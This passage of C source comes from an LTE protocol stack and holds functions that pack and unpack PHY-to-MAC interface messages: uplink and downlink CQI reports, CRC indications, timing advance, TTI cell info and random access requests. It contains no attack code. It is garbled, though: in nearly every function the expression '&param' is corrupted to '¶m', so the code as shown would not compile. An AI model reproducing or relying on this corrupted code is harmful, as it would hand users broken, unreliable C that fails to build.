tfuHqInfo->lnk.node = (PTR)tfuHqInfo;
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUlCqiInfo
*
*
* Desc : This structure conveys the Uplink CQI information for a single subband.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUlCqiInfo
(
TfuUlCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUlCqiInfo(param, mBuf)
TfuUlCqiInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUlCqiInfo)
CMCHKPK(cmPkTfuSubbandCqiInfo, ¶m->subbandCqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUlCqiInfo
*
*
* Desc : This structure conveys the Uplink CQI information for a single subband.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUlCqiInfo
(
TfuUlCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUlCqiInfo(param, mBuf)
TfuUlCqiInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUlCqiInfo)
CMCHKUNPK(cmUnpkTfuSubbandCqiInfo, ¶m->subbandCqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUlCqiRpt
*
*
* Desc : This structure contains the UL CQI estimated by the physical layer.
* @details The report could be wideband CQI or subBand CQI or both.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUlCqiRpt
(
TfuUlCqiRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUlCqiRpt(param, mBuf)
TfuUlCqiRpt *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuUlCqiRpt)
for (i=TFU_MAX_UL_SUBBAND-1; i >= 0; i--) {
CMCHKPK(cmPkTfuUlCqiInfo, ¶m->ulCqiInfoArr[i], mBuf);
}
CMCHKPK(SPkU8, param->numSubband, mBuf);
CMCHKPK(SPkU8, param->wideCqi, mBuf);
CMCHKPK(SPkU8, param->isTxPort0, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUlCqiRpt
*
*
* Desc : This structure contains the UL CQI estimated by the physical layer.
* @details The report could be wideband CQI or subBand CQI or both.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUlCqiRpt
(
TfuUlCqiRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUlCqiRpt(param, mBuf)
TfuUlCqiRpt *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuUlCqiRpt)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->isTxPort0, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->wideCqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numSubband, mBuf);
for (i=0; i<TFU_MAX_UL_SUBBAND; i++) {
CMCHKUNPK(cmUnpkTfuUlCqiInfo, ¶m->ulCqiInfoArr[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUlCqiIndInfo
*
*
* Desc : This structure conveys the Uplink CQI information.
* @details Uplink CQI is calculated by the physical layer, and is this
* information is provided to the scheduler.
* This data structure clubs together the UL CQI estimates for all the UEs that
* have been scheduled in the subframe for uplink transmission.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUlCqiIndInfo
(
TfuUlCqiIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUlCqiIndInfo(param, mBuf)
TfuUlCqiIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuUlCqiRpt *tfuUlCqiRpt;
TRC3(cmPkTfuUlCqiIndInfo)
count = param->ulCqiRpt.count;
node = param->ulCqiRpt.last;
while (node) {
tfuUlCqiRpt = (TfuUlCqiRpt *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuUlCqiRpt, tfuUlCqiRpt, mBuf);
cmLListDelFrm(¶m->ulCqiRpt, &tfuUlCqiRpt->lnk);
tfuUlCqiRpt->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUlCqiIndInfo
*
*
* Desc : This structure conveys the Uplink CQI information.
* @details Uplink CQI is calculated by the physical layer, and is this
* information is provided to the scheduler.
* This data structure clubs together the UL CQI estimates for all the UEs that
* have been scheduled in the subframe for uplink transmission.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUlCqiIndInfo
(
TfuUlCqiIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUlCqiIndInfo(param, memCp, mBuf)
TfuUlCqiIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuUlCqiRpt *tfuUlCqiRpt;
TRC3(cmUnpkTfuUlCqiIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->ulCqiRpt);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuUlCqiRpt), (Ptr *)&tfuUlCqiRpt);
CMCHKUNPK(cmUnpkTfuUlCqiRpt, tfuUlCqiRpt, mBuf);
cmLListAdd2Tail(¶m->ulCqiRpt, &tfuUlCqiRpt->lnk);
tfuUlCqiRpt->lnk.node = (PTR)tfuUlCqiRpt;
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDlCqiRpt
*
*
* Desc : This structure contains the DL CQI report for a single UE.
* @details The report could either be reported on PUCCH or PUSCH, a flag
* conveys this information.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDlCqiRpt
(
TfuDlCqiRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDlCqiRpt(param, mBuf)
TfuDlCqiRpt *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDlCqiRpt)
if (cmPkTfuDlCqiInfo(param->isPucchInfo, ¶m->dlCqiInfo, mBuf) != ROK)
RETVALUE(RFAILED);
CMCHKPK(SPkU8, param->isPucchInfo, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDlCqiRpt
*
*
* Desc : This structure contains the DL CQI report for a single UE.
* @details The report could either be reported on PUCCH or PUSCH, a flag
* conveys this information.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDlCqiRpt
(
TfuDlCqiRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDlCqiRpt(param, mBuf)
TfuDlCqiRpt *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDlCqiRpt)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->isPucchInfo, mBuf);
if (cmUnpkTfuDlCqiInfo (param->isPucchInfo, ¶m->dlCqiInfo, mBuf) != ROK)
RETVALUE(RFAILED);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDlCqiIndInfo
*
*
* Desc : This structure contains a list of Downlink CQI reports transmitted by
* UEs.
* @details This structure clubs together DL CQI reports for a number of UEs.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDlCqiIndInfo
(
TfuDlCqiIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDlCqiIndInfo(param, mBuf)
TfuDlCqiIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuDlCqiRpt *tfuDlCqiRpt;
TRC3(cmPkTfuDlCqiIndInfo)
count = param->dlCqiRptsLst.count;
node = param->dlCqiRptsLst.last;
while (node) {
tfuDlCqiRpt = (TfuDlCqiRpt *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuDlCqiRpt, tfuDlCqiRpt, mBuf);
cmLListDelFrm(¶m->dlCqiRptsLst, &tfuDlCqiRpt->lnk);
tfuDlCqiRpt->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDlCqiIndInfo
*
*
* Desc : This structure contains a list of Downlink CQI reports transmitted by
* UEs.
* @details This structure clubs together DL CQI reports for a number of UEs.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDlCqiIndInfo
(
TfuDlCqiIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDlCqiIndInfo(param, memCp, mBuf)
TfuDlCqiIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuDlCqiRpt *tfuDlCqiRpt;
TRC3(cmUnpkTfuDlCqiIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->dlCqiRptsLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuDlCqiRpt), (Ptr *)&tfuDlCqiRpt);
CMCHKUNPK(cmUnpkTfuDlCqiRpt, tfuDlCqiRpt, mBuf);
cmLListAdd2Tail(¶m->dlCqiRptsLst, &tfuDlCqiRpt->lnk);
tfuDlCqiRpt->lnk.node = (PTR)tfuDlCqiRpt;
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCrcInfo
*
*
* Desc : This structure contains the CRC indication for a single
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCrcInfo
(
TfuCrcInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCrcInfo(param, mBuf)
TfuCrcInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuCrcInfo)
CMCHKPK(cmPkTknU8, ¶m->rv, mBuf);
CMCHKPK(SPkU8, param->isFailure, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCrcInfo
*
*
* Desc : This structure contains the CRC indication for a single
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCrcInfo
(
TfuCrcInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCrcInfo(param, mBuf)
TfuCrcInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuCrcInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->isFailure, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->rv, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuCrcIndInfo
*
*
* Desc : This structure contains information that is passed as a part of the
* CRC Indication from PHY to MAC.
* @details This structure clubs together all the CRC indications for
* a single subframe and conveys this information to the scheduler.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuCrcIndInfo
(
TfuCrcIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuCrcIndInfo(param, mBuf)
TfuCrcIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuCrcInfo *tfuCrcIndInfo;
TRC3(cmPkTfuCrcIndInfo)
count = param->crcLst.count;
node = param->crcLst.last;
while (node) {
tfuCrcIndInfo = (TfuCrcInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuCrcInfo, tfuCrcIndInfo, mBuf);
cmLListDelFrm(¶m->crcLst, &tfuCrcIndInfo->lnk);
tfuCrcIndInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuCrcIndInfo
*
*
* Desc : This structure contains information that is passed as a part of the
* CRC Indication from PHY to MAC.
* @details This structure clubs together all the CRC indications for
* a single subframe and conveys this information to the scheduler.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuCrcIndInfo
(
TfuCrcIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuCrcIndInfo(param, memCp, mBuf)
TfuCrcIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuCrcInfo *tfuCrcIndInfo;
TRC3(cmUnpkTfuCrcIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->crcLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuCrcIndInfo), (Ptr *)&tfuCrcIndInfo);
CMCHKUNPK(cmUnpkTfuCrcInfo, tfuCrcIndInfo, mBuf);
cmLListAdd2Tail(¶m->crcLst, &tfuCrcIndInfo->lnk);
tfuCrcIndInfo->lnk.node = (PTR)tfuCrcIndInfo;
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuTimingAdvInfo
*
*
* Desc : This structure contains the timing advance information for a single
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuTimingAdvInfo
(
TfuTimingAdvInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuTimingAdvInfo(param, mBuf)
TfuTimingAdvInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuTimingAdvInfo)
CMCHKPK(SPkU8, param->timingAdv, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuTimingAdvInfo
*
*
* Desc : This structure contains the timing advance information for a single
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuTimingAdvInfo
(
TfuTimingAdvInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuTimingAdvInfo(param, mBuf)
TfuTimingAdvInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuTimingAdvInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->timingAdv, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuTimingAdvIndInfo
*
*
* Desc : This structure contains information that is passed as part of the Timing
* Advance indication from PHY to MAC.
* @details This structure clubs together timing advances for a number of UEs.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuTimingAdvIndInfo
(
TfuTimingAdvIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuTimingAdvIndInfo(param, mBuf)
TfuTimingAdvIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuTimingAdvInfo *tfuTimingAdvInfo;
TRC3(cmPkTfuTimingAdvIndInfo)
count = param->timingAdvLst.count;
node = param->timingAdvLst.last;
while (node) {
tfuTimingAdvInfo = (TfuTimingAdvInfo *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuTimingAdvInfo, tfuTimingAdvInfo, mBuf);
cmLListDelFrm(¶m->timingAdvLst, &tfuTimingAdvInfo->lnk);
tfuTimingAdvInfo->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuTimingAdvIndInfo
*
*
* Desc : This structure contains information that is passed as part of the Timing
* Advance indication from PHY to MAC.
* @details This structure clubs together timing advances for a number of UEs.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuTimingAdvIndInfo
(
TfuTimingAdvIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuTimingAdvIndInfo(param, memCp, mBuf)
TfuTimingAdvIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuTimingAdvInfo *tfuTimingAdvInfo;
TRC3(cmUnpkTfuTimingAdvIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->timingAdvLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuTimingAdvInfo), (Ptr *)&tfuTimingAdvInfo);
CMCHKUNPK(cmUnpkTfuTimingAdvInfo, tfuTimingAdvInfo, mBuf);
cmLListAdd2Tail(¶m->timingAdvLst, &tfuTimingAdvInfo->lnk);
tfuTimingAdvInfo->lnk.node = (PTR)tfuTimingAdvInfo;
}
RETVALUE(ROK);
}
/*CA dev Start*/
/***********************************************************
*
* Func : cmPkTfuTtiCellInfo
*
*
* Desc : This structure contains information that is
* passed as a part of the TTI indication sent
* from CL to MAC and SCH
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuTtiCellInfo
(
TfuTtiCellInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuTtiCellInfo(param, mBuf)
TfuTtiCellInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuTtiCellInfo)
CMCHKPK(SPkU8, param->ulBlankSf, mBuf);
CMCHKPK(SPkU8, param->dlBlankSf, mBuf);
CMCHKPK(SPkU8, param->schTickDelta, mBuf);
CMCHKPK(cmPkBool, param->isDummyTti, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/*CA dev End*/
/***********************************************************
*
* Func : cmPkTfuTtiIndInfo
*
*
* Desc : This structure contains information that is passed as a part of the TTI
* indication sent from PHY to MAC.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuTtiIndInfo
(
TfuTtiIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuTtiIndInfo(param, mBuf)
TfuTtiIndInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuTtiIndInfo)
/*CA dev Start*/
for (i=(param->numCells-1); i >= 0; i--) {
CMCHKPK(cmPkTfuTtiCellInfo, ¶m->cells[i], mBuf);
}
CMCHKPK(SPkU8, param->numCells, mBuf);
/*CA dev End*/
RETVALUE(ROK);
}
/* CA dev Start */
/***********************************************************
*
* Func : cmUnpkTfuTtiCellInfo
*
*
* Desc : This structure contains information that is
* passed as a part of the TTI indication sent
* from CL to MAC and SCH
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuTtiCellInfo
(
TfuTtiCellInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuTtiCellInfo(param, mBuf)
TfuTtiCellInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuTtiCellInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKUNPK(cmUnpkBool, ¶m->isDummyTti, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->schTickDelta, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->dlBlankSf, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ulBlankSf, mBuf);
RETVALUE(ROK);
}
/* CA dev End */
/***********************************************************
*
* Func : cmUnpkTfuTtiIndInfo
*
*
* Desc : This structure contains information that is passed as a part of the TTI
* indication sent from PHY to MAC.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuTtiIndInfo
(
TfuTtiIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuTtiIndInfo(param, mBuf)
TfuTtiIndInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuTtiIndInfo)
/* CA dev Start */
CMCHKUNPK(SUnpkU8, ¶m->numCells, mBuf);
for (i=0; i<(param->numCells); i++) {
CMCHKUNPK(cmUnpkTfuTtiCellInfo, ¶m->cells[i], mBuf);
}
/* CA dev End */
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuRaReqInfo
*
*
* Desc : This structure contains the information for a single Random Access Request.
* @details The information present in this structure is for a single preamble.
* Associated with each preamble are fields that the physical layer calculates
* based on the reception of the Random Access Request. These are the following
* -# Timing Advance
* -# TPC
* -# CQI (optional).
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRaReqInfo
(
TfuRaReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuRaReqInfo(param, mBuf)
TfuRaReqInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuRaReqInfo)
CMCHKPK(SPkU8, param->cqiIdx, mBuf);
CMCHKPK(SPkU8, param->cqiPres, mBuf);
CMCHKPK(SPkU8, param->tpc, mBuf);
CMCHKPK(SPkU16, param->ta, mBuf);
CMCHKPK(SPkU8, param->rapId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuRaReqInfo
*
*
* Desc : This structure contains the information for a single Random Access Request.
* @details The information present in this structure is for a single preamble.
* Associated with each preamble are fields that the physical layer calculates
* based on the reception of the Random Access Request. These are the following
* -# Timing Advance
* -# TPC
* -# CQI (optional).
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRaReqInfo
(
TfuRaReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRaReqInfo(param, mBuf)
TfuRaReqInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuRaReqInfo)
CMCHKUNPK(SUnpkU8, ¶m->rapId, mBuf);
CMCHKUNPK(SUnpkU16, ¶m->ta, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->tpc, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cqiPres, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->cqiIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuRachInfo
*
*
* Desc : This structure contains RACH request information for a single
* RA-RNTI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRachInfo
(
CmMemListCp memCp,
TfuRachInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuRachInfo(memCp, param, mBuf)
CmMemListCp memCp;
TfuRachInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuRachInfo)
for (i= (param->numRaReqInfo - 1); i >= 0; i--) {
CMCHKPK(cmPkTfuRaReqInfo, &(param->raReqInfoArr[i]), mBuf);
}
CMCHKPK(SPkU8, param->numRaReqInfo, mBuf);
CMCHKPK(cmPkLteRnti, param->raRnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuRachInfo
*
*
* Desc : This structure contains RACH request information for a single
* RA-RNTI.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRachInfo
(
CmMemListCp memCp,
TfuRachInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRachInfo(memCp, param, mBuf)
CmMemListCp memCp;
TfuRachInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuRachInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->raRnti, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numRaReqInfo, mBuf);
if (cmGetMem (&(memCp), (sizeof(TfuRaReqInfo) * param->numRaReqInfo),
(Ptr *)¶m->raReqInfoArr) != ROK)
{
RETVALUE(RFAILED);
}
for (i=0; i<param->numRaReqInfo; i++) {
CMCHKUNPK(cmUnpkTfuRaReqInfo, ¶m->raReqInfoArr[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuRaReqIndInfo
*
*
* Desc : This structure contains the list of Random Access Requests received in a
* single TTI.
* @details Random Access Request is associated with a RA-RNTI, which remains
* common for all the Random access requests within a subframe. This structure
* thus carries the RA-RNTI and a list of Random Access Request information.
* This information consists of the following
* -# preamble-id - this corresponds to the Index of the Preamble choosen by the
* UE.
* -# Timing Advance - this corresponds to the timing adjustment that the UE
* needs to be uplink synchronized. This value is calculated by physical layer.
* -# tpc - this is the power control command that the physical layer calculates
* from the received RA request. This value is transmitted in the RA Response
* sent out by MAC.
* -# CQI - this is the Channel quality index of the UL channel estimated by the
* physical layer. This aids MAC in the scheduling of this UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRaReqIndInfo
(
TfuRaReqIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuRaReqIndInfo(param, mBuf)
TfuRaReqIndInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuRaReqIndInfo)
for (i= (param->nmbOfRaRnti-1); i >= 0; i--)
{
if (ROK != cmPkTfuRachInfo(param->memCp,
&(param->rachInfoArr[i]), mBuf))
{
RETVALUE(RFAILED);
}
}
CMCHKPK(SPkU8, param->nmbOfRaRnti, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuRaReqIndInfo
*
*
* Desc : This structure contains the list of Random Access Requests received in a
* single TTI.
* @details Random Access Request is associated with a RA-RNTI, which remains
* common for all the Random access requests within a subframe. This structure
* thus carries the RA-RNTI and a list of Random Access Request information.
* This information consists of the following
* -# preamble-id - this corresponds to the Index of the Preamble choosen by the
* UE.
* -# Timing Advance - this corresponds to the timing adjustment that the UE
* needs to be uplink synchronized. This value is calculated by physical layer.
* -# tpc - this is the power control command that the physical layer calculates
* from the received RA request. This value is transmitted in the RA Response
* sent out by MAC.
* -# CQI - this is the Channel quality index of the UL channel estimated by the
* physical layer. This aids MAC in the scheduling of this UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRaReqIndInfo
(
TfuRaReqIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRaReqIndInfo(param, mBuf)
TfuRaReqIndInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuRaReqIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nmbOfRaRnti, mBuf);
if (cmGetMem (&(param->memCp), (sizeof(TfuRachInfo) * param->nmbOfRaRnti),
(Ptr *)¶m->rachInfoArr) != ROK)
{
RETVALUE(RFAILED);
}
for (i=0; i<param->nmbOfRaRnti; i++)
{
if (ROK != cmUnpkTfuRachInfo(param->memCp, ¶m->rachInfoArr[i], mBuf))
{
RETVALUE(RFAILED);
}
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPucchDeltaPwr
*
*
* Desc : This structure contains PUCCH Delta power for a single UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPucchDeltaPwrInfo
(
